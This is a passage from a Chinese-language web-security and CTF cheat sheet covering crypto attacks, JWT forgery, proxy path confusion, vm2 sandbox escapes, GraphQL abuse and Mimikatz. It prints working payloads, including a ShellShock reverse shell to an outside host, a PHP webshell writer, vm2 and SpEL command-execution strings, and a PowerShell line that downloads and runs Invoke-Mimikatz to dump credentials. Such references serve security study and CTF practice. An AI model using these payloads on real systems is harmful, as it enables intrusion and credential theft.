{mode:"open"}或是{mode:"closed"}- open:
Elements of the shadow root are accessible from JavaScript outside the root - closed:
Denies access to the node(s) of a closed shadow root from JavaScript outside it
- open:
- 參數可以帶
window.find+-webkit-user-modify+document.execCommand- 透過 CSS
-webkit-user-modify:read-write屬性,可以讓 shadow DOM 做到contenteditable效果 window.find()可以 focus shadow DOM 中的內容- 之後就能用
document.execCommand()去插入 HTML,透過 svg 執行 JS 取得節點document.execCommand('insertHTML',false,'<svg/onload=alert(this.parentNode.innerHTML)>')
- 透過 CSS
- Example
-
php 7.1.0 後
rand()和srand()已經等同mt_rand()和mt_srand() -
php > 4.2.0 會自動對
srand()和mt_srand()播種- 只進行一次 seed,不會每次
rand()都 seed
- 只進行一次 seed,不會每次
-
可以通過已知的 random 結果,去推算隨機數種子,然後就可以推算整個隨機數序列
-
實際應用上可能會碰到連上的不是同個 process,可以用
Keep-Alive來確保連上同個 php process (只會 seed 一次) -
7.1 以前
rand()使用 libc random(),其核心為:state[i] = state[i-3] + state[i-31]- 所以只要有31個連續隨機數就能預測接下來的隨機數
- 後來
rand()alias 成mt_rand(),採用的是Mersenne Twister算法
-
Example: HITCON 2015 - Giraffe’s Coffee
- 每個Block加密方式都一樣,所以可以把Block隨意排列
- 舉例:
user=kaibro;role=user- 假設 Block 長度為 8
- 構造一下 user: (
|用來區隔 Block)user=aaa|admin;ro|le=useruser=aaa|aa;role=|user
- 排列一下:(上面每塊加密後的 Block 都已知)
user=aaa|aa;role=|admin;ro
- Example: AIS3 2017 pre-exam
ECB(K, A + B + C)的運算結果可知- B 可控
- K, A, C 未知
- C 的內容可以透過以下方法爆出來:
- 找出最小的長度 L
- 使得將 B 改成 L 個 a,該段 pattern 剛好重複兩次
...bbbb bbaa aaaa aaaa cccc ......???? ???? 5678 5678 ???? ...
- 改成 L-1 個 a,可得到
ECB(K, "aa...a" + C[0])這個 Block 的內容 - C[0] 可爆破求得,後面也依此類推
- 常見發生場景:Cookie
- 假設 IV 為 A、中間值為 B (Block Decrypt 後結果)、明文為 C
- CBC mode 解密時,
A XOR B = C - 若要使輸出明文變
X - 修改 A 為
A XOR C XOR X - 則原本式子變成
(A XOR C XOR X) XOR B = X
PKCS#7- Padding 方式:不足 x 個 Byte,就補 x 個 x
- 例如:Block 長度 8
AA AA AA AA AA AA AA 01AA AA AA AA AA AA 02 02AA AA AA AA AA 03 03 03- ...
08 08 08 08 08 08 08 08
- 在常見情況下,如果解密出來發現 Padding 是爛的,會噴 Exception 或 Error
- 例如:HTTP 500 Internal Server Error
- 須注意以下這類情況,不會噴錯:
AA AA AA AA AA AA 01 01AA AA 02 02 02 02 02 02
- Padding 方式:不足 x 個 Byte,就補 x 個 x
- 原理:
- CBC mode 下,前一塊密文會當作當前這塊的 IV,做 XOR
- 如果構造
A||B去解密 (A, B 是密文 Block) - 此時,A 會被當作 B 的 IV,B 會被解成
D(B) XOR A - 可以透過調整 A,使得 Padding 變合法,就可以得到
D(B)的值- 例如:要解最後 1 Byte
- 想辦法讓最後解出來變成
01結尾 - 運氣不好時,可能剛好碰到
02 02結尾,可以調整一下 A 倒數第 2 Byte D(B)[-1] XOR A[-1] = 01D(B)[-1] = A[-1] XOR 01- 有最後 1 Byte 就可以依此類推,調整倒數第 2 Byte
D(B) XOR C就能得到明文 ( C 為前一塊真正的密文)
- 很多hash算法都可能存在此攻擊,例如
md5,sha1,sha256... - 主要是因為他們都使用 Merkle-Damgard hash construction
- 會依照 64 Byte 分組,不足會 padding
- 1 byte 的
0x80+ 一堆0x00+8 bytes 的長度
- 1 byte 的
- IV 是寫死的,且每一組輸出結果會當下一組的輸入
- 攻擊條件: (這裏 md5 換成 sha1, sha256... 也通用)
- 已知
md5(secret+message) - 已知
secret長度 - 已知
message內容
- 已知
- 符合三個條件就能構造
md5(secret+message+padding+任意字串) - 工具 - hashpump
- 基本用法:
- 輸入
md5(secret+message)的值 - 輸入
message的值 - 輸入
secert長度 - 輸入要加在後面的字串
- 最後會把
md5(secret+message+padding+任意字串)和message+padding+任意字串噴給你
- 輸入
- 基本用法:
-
Information leak
- .git / .svn
- robots.txt
- /.well-known
- .DS_Store
- .htaccess
- .pyc
- package.json
- server-status
- crossdomain.xml
- admin/ manager/ login/ backup/ wp-login/ phpMyAdmin/
- xxx.php.bak / www.tar.gz / .xxx.php.swp / xxx.php~ / xxx.phps
- /WEB-INF/web.xml
-
文件解析漏洞
- Apache
- shell.php.ggininder
- shell.php%0a
- httpd 2.4.0 to 2.4.29
- CVE-2017-15715
- IIS
- IIS < 7
- a.asp/user.jpg
- user.asp;aa.jpg
- IIS < 7
- Nginx
- nginx < 8.03
cgi.fix_pathinfo=1- Fast-CGI開啟狀況下
- kaibro.jpg:
<?php fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?> - 訪問
kaibro.jpg/.php生成shell.php
- nginx < 8.03
- Apache
-
AWS常見漏洞
- S3 bucket 權限配置錯誤
- nslookup 判斷
nslookup 87.87.87.87s3-website-us-west-2.amazonaws.com.
- 確認 bucket
- 訪問
bucketname.s3.amazonaws.com - 成功會返回 bucket XML 資訊
- 訪問
- awscli 工具
- 列目錄
aws s3 ls s3://bucketname/ --region regionname - 下載
aws sync s3://bucketname/ localdir --region regionname
- 列目錄
- nslookup 判斷
- metadata
- S3 bucket 權限配置錯誤
-
JWT (Json Web Token)
-
重置算法 None
import jwt; print(jwt.encode({"userName":"admin","userRoot":1001}, key="", algorithm="none"))[:-1]
-
降級算法
- 把"非對稱式加密"降級為"對稱式加密"
- e.g. RS256 改成 HS256
import jwt public = open('public.pem', 'r').read() # public key prin(jwt.encode({"user":"admin","id":1}, key=public, algorithm='HS256'))
-
暴力破解密鑰
- Tool: JWT Cracker
- usage:
./jwtcrack eyJhbGci....
- usage:
- Example:
- Tool: JWT Cracker
-
kid 參數 (key ID)
- 是一個可選參數
- 用於指定加密算法的密鑰
- 任意文件讀取
"kid" : "/etc/passwd"
- SQL注入
- kid 有可能從資料庫提取數據
"kid" : "key11111111' || union select 'secretkey' -- "
- Command Injection
- Ruby open:
"/path/to/key_file|whoami"
- Ruby open:
- Example: HITB CTF 2017 - Pasty
-
jku
- 用來指定連接到加密 Token 密鑰的 URL
- 如果未限制的話,攻擊者可以指定自己的密鑰文件,用它來驗證 token
- Example: VolgaCTF 2021 Qual - JWT
-
敏感訊息洩漏
- JWT 是保證完整性而不是保證機密性
- base64 decode 後即可得到 payload 內容
- Example
-
jwt.io
-
-
常見 Port 服務
-
php -i | grep "Loaded Configuration File"- 列出 php.ini 路徑
-
HTTP Method
- OPTIONS method
- 查看可用 HTTP method
curl -i -X OPTIONS 'http://evil.com/'
- HEAD method
- 特殊場景下容易出現邏輯問題
if(request.method == get) {...} else {...} - Werkzeug 只要有設定接受
GET請求,也會自動接受HEAD(ref) - Example:
- 特殊場景下容易出現邏輯問題
- OPTIONS method
-
ShellShock
() { :; }; echo vulnerable() { :a; }; /bin/cat /etc/passwd() { :; }; /bin/bash -c '/bin/bash -i >& /dev/tcp/kaibro.tw/5566 0>&1'
-
X-forwarded-for 偽造來源IP
Client-IPX-Client-IPX-Real-IPX-Remote-IPX-Remote-AddrX-Host- ...
- 各種繞 Limit (e.g. Rate limit bypass)
- Heroku feature
- https://jetmind.github.io/2016/03/31/heroku-forwarded.html
- 同時送多個
X-Forwarded-Forheader,可以讓真實 IP 被包在 IP list 中間 (Spoofing) - Example: angstromCTF 2021 - Spoofy
-
DNS Zone Transfer
dig @1.2.3.4 abc.com axfr- DNS Server:
1.2.3.4 - Test Domain:
abc.com
- DNS Server:
-
IIS 短檔名列舉
- Windows 8.3 格式:
administrator可以簡寫成admini~1 - 原理:短檔名存在或不存在,伺服器回應內容不同
- Example
- MidnightSun CTF 2024 - ASPowerTools
webClient.DownloadString("http://../inetpub/wwwroot/aspowertools/FLAGFL~1.MAS")
- MidnightSun CTF 2024 - ASPowerTools
- Tool:
- https://github.com/irsdl/IIS-ShortName-Scanner
java -jar iis_shortname_scanner.jar 2 20 http://example.com/folder/
- https://github.com/sw33tLie/sns
- https://github.com/irsdl/IIS-ShortName-Scanner
- Windows 8.3 格式:
-
ASP.net Cookieless DuoDrop (CVE-2023-36899 & CVE-2023-36560)
- CVE-2023-36899
/WebForm/(S(X))/prot/(S(X))ected/target1.aspx/WebForm/(S(X))/b/(S(X))in/target2.aspx
- CVE-2023-36560
/WebForm/pro/(S(X))tected/target1.aspx/(S(X))//WebForm/b/(S(X))in/target2.aspx/(S(X))/
- Example
- MidnightSun CTF 2024 - ASPowerTools
/(S(x))/b/(S(x))in/ASPowerTools.dll/(S(X))/prot/(S(X))ected/login.aspx
- MidnightSun CTF 2024 - ASPowerTools
- ref:
- CVE-2023-36899
-
NodeJS unicode failure
- 內部使用 UCS-2 編碼
NN=>..N即\xff\x2e- 轉型時捨棄第一個 Byte
-
特殊的 CRLF Injection 繞過
%E5%98%8A- 原始的 Unicode 碼為
U+560A - raw bytes:
0x56,0x0A
-
MySQL utf8 v.s. utf8mb4
- MySQL utf8 編碼只支援 3 bytes
- 若將 4 bytes 的 utf8mb4 插入 utf8 中,在 non strict 模式下會被截斷
- CVE-2015-3438 WordPress Cross-Site Scripting Vulnerability
-
Proxy 相關
- Path parameters
- Tomcat & Jetty:
/path;param/abcd=>/path/abcd - WebLogic & WildFly:
/path;param/abcd=>/path
- Tomcat & Jetty:
- Nginx + Tomcat
..;- 情境: Nginx -> Tomcat, Nginx deny
/manager/docs/..;/manager/html- Nginx:
/docs/..;/manager/html - Tomcat:
/manager/html
- Nginx:
- 情境: Nginx -> Tomcat, Nginx deny
/console/(location ~* /console/)/..;/console;/flag- Nginx:
/..;/console;/flag - Tomcat:
/console/flag
- Nginx:
- Nginx + Apache
- 情境: Nginx -> Apache, Nginx deny
/adminproxy_pass http://apache(No trailing slash,以原始資料送到後端)/admin//../flag- Nginx:
/flag - Apache:
/admin/flag
- Nginx:
- 情境: Nginx -> Apache, Nginx deny
- Nginx + WebLogic
- 情境: Nginx -> WebLogic, Nginx deny
/consoleproxy_pass http://weblogic;- Nginx:
/ - WebLogic:
/console
- Nginx:
/#/../console
- 情境: Nginx -> WebLogic, Nginx deny
- Nginx + Gunicorn
- 繞黑名單規則
- Nginx deny
/admin /admin/key\x09HTTP/1.1/../../../- Nginx:
/ - Gunicorn:
/admin/key
- Nginx:
- Nginx 新版本已修復
- Example:
- Nginx deny
- 繞黑名單規則
- Nginx + Swift
- Example: Line CTF 2024 - zipviewer-version-clown
- Nginx 大小寫敏感,Swift 不敏感
- 繞 Rate limit
- Example: Line CTF 2024 - zipviewer-version-clown
- Haproxy + Caddy
- Haproxy:
keep-alive+CONNECT+ 2xx status,會讓其處於 tunnel mode,不採用任何 rules - Cadday: 用 normalized path 來 matching,但送出的卻不是 normalized path
- Example: SecurityFest CTF 2022 - tunnelvision
- Haproxy:
- ref: https://github.com/GrrrDog/weird_proxies/tree/master
- Path parameters
-
Gunicorn
SCRIPT_NAMESCRIPT_NAME可以改變 base path- 當
SCRIPT_NAME=test,/a/b/test/flag=>/flag
- 當
- gunicorn 的
SCRIPT_NAME可以透過 HTTP Header 設定SCRIPT_NAME: a- 前面如果有 Proxy,例如 Nginx,則要開啟
underscores_in_headers才能允許 header 中的_
- Example: CSAW 2021 - gatekeeping
-
Nginx internal繞過
X-Accel-Redirect- Document
- Example:
- Olympic CTF 2014 - CURLing
- MidnightSun CTF 2019 - bigspin
- PBCTF 2023 - Makima
-
Nginx 目錄穿越漏洞
- 常見於 Nginx 做 Reverse Proxy 的狀況
location /files { alias /home/ }- 因為
/files沒有加上結尾/,而/home/有 - 所以
/files../可以訪問上層目錄
-
Nginx add_header
- 預設當 repsponse 是 200, 201, 204, 206, 301, 302, 303, 304, 307, or 308 時,
add_header才會設定 header - e.g. Codegate 2020 - CSP
- 預設當 repsponse 是 200, 201, 204, 206, 301, 302, 303, 304, 307, or 308 時,
-
Nginx $url CRLF Injection
$uri是解碼後的請求路徑,可能包含換行,有機會導致 CRLF Injection- 應改用
$request_uri
- 應改用
- Example: VolgaCTF 2021 - Static Site
proxy_pass https://volga-static-site.s3.amazonaws.com$uri;- CRLF Injection 蓋掉 S3 Bucket 的 Host header,控 Response 內容做 XSS
-
Javascript 大小寫特性
"ı".toUpperCase() == 'I'"ſ".toUpperCase() == 'S'"K".toLowerCase() == 'k'- Reference
-
Javascript replace 特性
- replace string 中可以使用
$
> "123456".replace("34", "xx") '12xx56' > "123456".replace("34", "$`") '121256' > "123456".replace("34", "$&") '123456' > "123456".replace("34", "$'") '125656' > "123456".replace("34", "$$") '12$56'- Example
- replace string 中可以使用
-
Javascript Proxy
- doc
- 嘗試取得被 Proxy 保護住的 flag:
var p = new Proxy({flag: window.flag || 'flag'}, { get: () => 'nope' } - 解法:
Object.getOwnPropertyDescriptor(p, 'flag') - Example
-
Node.js 目錄穿越漏洞
- CVE-2017-14849
- 影響: 8.5.0 版
/static/../../../foo/../../../../etc/passwd
-
Node.js vm escape
const process = this.constructor.constructor('return this.process')();process.mainModule.require('child_process').execSync('whoami').toString()- CONFidence CTF 2020 - TempleJS
- Only allow
/^[a-zA-Z0-9 ${}`]+$/g Function`a${`return constructor`}{constructor}` `${constructor}` `return flag` ``
- Only allow
-
Node.js vm2 escape
- CVE-2019-10761
- vm2 <= 3.6.10
- CVE-2021-23449
- vm2 <= 3.9.4
let res = import('./foo.js') res.toString.constructor("return this")().process.mainModule.require("child_process").execSync("whoami").toString();
- CVE-2023-29199
- vm2 <= 3.9.15
aVM2_INTERNAL_TMPNAME = {}; function stack() { new Error().stack; stack(); } try { stack(); } catch (a$tmpname) { a$tmpname.constructor.constructor('return process')().mainModule .require('child_process') .execSync('echo "flag is here" > flag'); }
- CVE-2023-30547
- vm2 <= 3.9.16
err = {}; const handler = { getPrototypeOf(target) { (function stack() { new Error().stack; stack(); })(); } }; const proxiedErr = new Proxy(err, handler); try { throw proxiedErr; } catch ({constructor: c}) { c.constructor('return process')().mainModule.require('child_process').execSync('touch pwned'); } - CVE-2023-32314
- vm2 <= 3.9.17
const err = new Error(); err.name = { toString: new Proxy(() => "", { apply(target, thiz, args) { const process = args.constructor.constructor("return process")(); throw process.mainModule.require("child_process").execSync("whoami").toString(); }, }), }; try { err.stack; } catch (stdout) { stdout; }
- CVE-2023-37466
- vm2 <= 3.9.19
async function fn() { (function stack() { new Error().stack; stack(); })(); } p = fn(); p.constructor = { [Symbol.species]: class FakePromise { constructor(executor) { executor( (x) => x, (err) => { return err.constructor.constructor('return process')().mainModule.require('child_process').execSync('touch 123'); } ) } } }; p.then();
- vm2 is officially deprecated
- CVE-2019-10761
-
Apache Tomcat Session 操縱漏洞
- 預設 session 範例頁面
/examples/servlets /servlet/SessionExample - 可以直接對 Session 寫入
- 預設 session 範例頁面
-
polyglot image + .htaccess
- XBM 格式有定義在
exif_imagetype()中 - 符合
.htaccess格式 - Insomnihack CTF
#define gg_width 1337 #define gg_height 1337 AddType application/x-httpd-php .asp - XBM 格式有定義在
-
AutoBinding / Mass Assignment
- Mass_Assignment_Cheat_Sheet
- Spring MVC
@ModelAttribute- 會將 Client 端傳來的參數 (GET/POST) 綁定到指定 Object 中,並自動將此 Object 加到 ModelMap 中
- Example
@RequestMapping(value = "/home", method = RequestMethod.GET) public String home(@ModelAttribute User user, Model model) { if (showSecret){ model.addAttribute("firstSecret", firstSecret); } return "home"; }
- Example 2:
- Example 3: VolgaCTF 2019 - shop
-
EL Injection / SpEL Injection
- EL = Expression Language, SpEL = Spring Expression Language
- Some payload
${"a".toString()}${"".getClass()}${applicationScope}${sessionScope.toString()}${pageContext.request.getSession().setAttribute("admin", true)}${T(java.lang.Runtime).getRuntime().exec("<my command here>")}${Class.forName('java.lang.Runtime').getRuntime().invoke(null).exec(<RCE>).getInputStream().read()}${"".getClass().forName("java.lang.Runtime").getMethods()[6].invoke("".getClass().forName("java.lang.Runtime")).exec("calc.exe")}${request.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec(\\\"ping x.x.x.x\\\")"))}
- Example
-
GraphQL
- 資訊洩漏
- 基本查詢
- 查詢存在的類型:
{ __schema { types { name } } }{__schema{types{name,fields{name}}}}
- 查詢一個類型所有字段:
{ __type (name: "Query") { name fields { name type { name kind ofType { name kind } } } } }{__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}}- 提取所有類型、他的字段、參數以及參數類型
- 可以觀察一些敏感字段,如: password, email, token, session, secretkey, ... 等
- 透過 Introspection 來撈 schema:
fragment+FullType+on+__Type+{++kind++name++description++fields(includeDeprecated%3a+true)+{++++name++++description++++args+{++++++...InputValue++++}++++type+{++++++...TypeRef++++}++++isDeprecated++++deprecationReason++}++inputFields+{++++...InputValue++}++interfaces+{++++...TypeRef++}++enumValues(includeDeprecated%3a+true)+{++++name++++description++++isDeprecated++++deprecationReason++}++possibleTypes+{++++...TypeRef++}}fragment+InputValue+on+__InputValue+{++name++description++type+{++++...TypeRef++}++defaultValue}fragment+TypeRef+on+__Type+{++kind++name++ofType+{++++kind++++name++++ofType+{++++++kind++++++name++++++ofType+{++++++++kind++++++++name++++++++ofType+{++++++++++kind++++++++++name++++++++++ofType+{++++++++++++kind++++++++++++name++++++++++++ofType+{++++++++++++++kind++++++++++++++name++++++++++++++ofType+{++++++++++++++++kind++++++++++++++++name++++++++++++++}++++++++++++}++++++++++}++++++++}++++++}++++}++}}query+IntrospectionQuery+{++__schema+{++++queryType+{++++++name++++}++++mutationType+{++++++name++++}++++types+{++++++...FullType++++}++++directives+{++++++name++++++description++++++locations++++++args+{++++++++...InputValue++++++}++++}++}}
- 查詢存在的類型:
- Suggestion
- 當輸入一個未知的keyword,Graphql backend 會建議正確的keyword
"message": "Cannot query field \"one\" on type \"Query\". Did you mean \"node\"?",
- 透過字典檔去brute-force
- 當輸入一個未知的keyword,Graphql backend 會建議正確的keyword
- 錯誤訊息
- 可以透過錯誤訊息取得有用資訊
{__schema}{}{somerandomshit}
- Graphene-Django DEBUG
- 透過添加
__debug來取得詳細資訊,例如 sql 執行語句
- 透過添加
- 基本查詢
- Batch query
- 可以透過 Array-based query 一次送好幾個請求
- Apollo GraphQL 預設不啟用 Array Batching
- 常見情境:Password brute-force, Rate limit bypass, DoS
[{ query: 'query { book(id: 1) { __typename } }' },{ query: 'query { book(id: 1) { __typename } }' }]- JSON list based batching 不能用時,可以嘗試 Query name based batching
{"query": "query { kaibro: Query { meow } kaibro1: Query { meow } }"}
- Example:
- CSRF
- GET-based
/graphql?query=query+%7B+a+%7D
- POST-based
- content-type 改
x-www-form-urlencoded仍可執行 - Example: Express-GraphQL, Portswigger's lab
- content-type 改
- GET-based
- Query Depth Attack
- 未阻擋的話,容易造成DoS
- Example:
query { books { title author { title books { title author { ... } } } } }
- Alias overloading
- Example:
query { book(id: 1) { __typename alias: __typename alias2: __typename alias3: __typename alias4: __typename } }
- Example:
- Tool
- graphw00f (fingerprinting)
- graphquail
- GraphQLmap
- ...
- Example:
- 資訊洩漏
-
HTTP2 Push
- Server 自己 push 東西回來 (e.g. CSS/JS file)
- e.g. ALLES CTF 2020 - Push
- Chrome Net Export tool
-
Symlink
ln -s ../../../../../../etc/passwd kaibro.linkzip --symlink bad.zip kaibro.link
-
curl trick
curl 'fi[k-m]e:///etc/passwdcurl '{asd,bb}'- Example: N1CTF 2021 - Funny_web
-
tcpdump
-i指定網卡,不指定則監控所有網卡-s默認只抓96bytes,可以-s指定更大數值-w指定輸出檔host指定主機(ip or domain)dst,src來源或目的端port指定端口tcp,udp,icmp指定協議- example
- 來源192.168.1.34且目的端口為80
tcpdump -i eth0 src 192.168.1.34 and dst port 80
- 來源192.168.1.34且目的端口是22或3389
tcpdump -i eth0 'src 192.168.1.34 and (dst port 22 or 3389)'
- 保存檔案,可以後續用wireshark分析
tcpdump -i eth0 src kaibro.tw -w file.cap
- 來源192.168.1.34且目的端口為80
-
- php eval
-
https://github.com/denny0223/scrabble
- git
-
https://github.com/lijiejie/ds_store_exp
- .DS_Store
-
https://github.com/kost/dvcs-ripper
- git / svn / hg / cvs ...
-
unicode converter
-
PHP混淆 / 加密
-
https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt
- XSS Payloads
-
DNSLog
-
DNS rebinding
- rebind.network
-
# butit still works A.192.168.1.1.forever.rebind.network #alternate between localhost and 10.0.0.1 forever A.127.0.0.1.1time.10.0.0.1.1time.repeat.rebind.network #first respond with 192.168.1.1 then 192.168.1.2. Now respond 192.168.1.3forever. A.192.168.1.1.1time.192.168.1.2.2times.192.168.1.3.forever.rebind.network #respond with 52.23.194.42 the first time, then whatever `whonow--default-address` # isset to forever after that (default: 127.0.0.1) A.52.23.194.42.1time.rebind.network
-
- rbndr.us
36573657.7f000001.rbndr.us
- Example
- rebind.network
-
https://r12a.github.io/apps/encodings/
- Encoding converter
-
Mimikatz
- 撈密碼
mimikatz.exe privilege::debug sekurlsa::logonpasswords full exit >> log.txt- powershell 無文件:
powershell "IEX (New-Object Net.WebClient).DownloadString('http://is.gd/oeoFuI'); Invoke-Mimikatz -DumpCreds"
- Pass The Hash
sekurlsa::pth /user:Administrator /domain:kaibro.local /ntlm:cc36cf7a8514893efccd332446158b1asekurlsa::pth /user:Administrator /domain:kaibro.local /aes256:b7268361386090314acce8d9367e55f55865e7ef8e670fbe4262d6c94098a9e9sekurlsa::pth /user:Administrator /domain:kaibro.local /ntlm:cc36cf7a8514893efccd332446158b1a /aes256:b7268361386090314acce8d9367e55f55865e7ef8e670fbe4262d6c94098a9e9
- TGT
kerberos::tgt(Displays informations about the TGT of the current session)
- List / Export Kerberos tickets of all sessions
sekurlsa::tickets /export
- Pass The Ticket
kerberos::ptt [email protected]
- Golden
- generate the TGS with NTLM:
kerberos::golden /domain:<domain_name>/sid:<domain_sid> /rc4:<ntlm_hash> /user:<user_name> /service:<service_name> /target:<service_machine_hostname> - generate the TGS with AES 128 key:
kerberos::golden /domain:<domain_name>/sid:<domain_sid> /aes128:<krbtgt_aes128_key> /user:<user_name> /service:<service_name> /target:<service_machine_hostname> - generate the TGS with AES 256 key:
kerberos::golden /domain:<domain_name>/sid:<domain_sid> /aes256:<krbtgt_aes256_key> /user:<user_name> /service:<service_name> /target:<service_machine_hostname>
- generate the TGS with NTLM:
- Purge
kerberos::purge(Purges all tickets of the current session)
- 撈密碼
-
WASM
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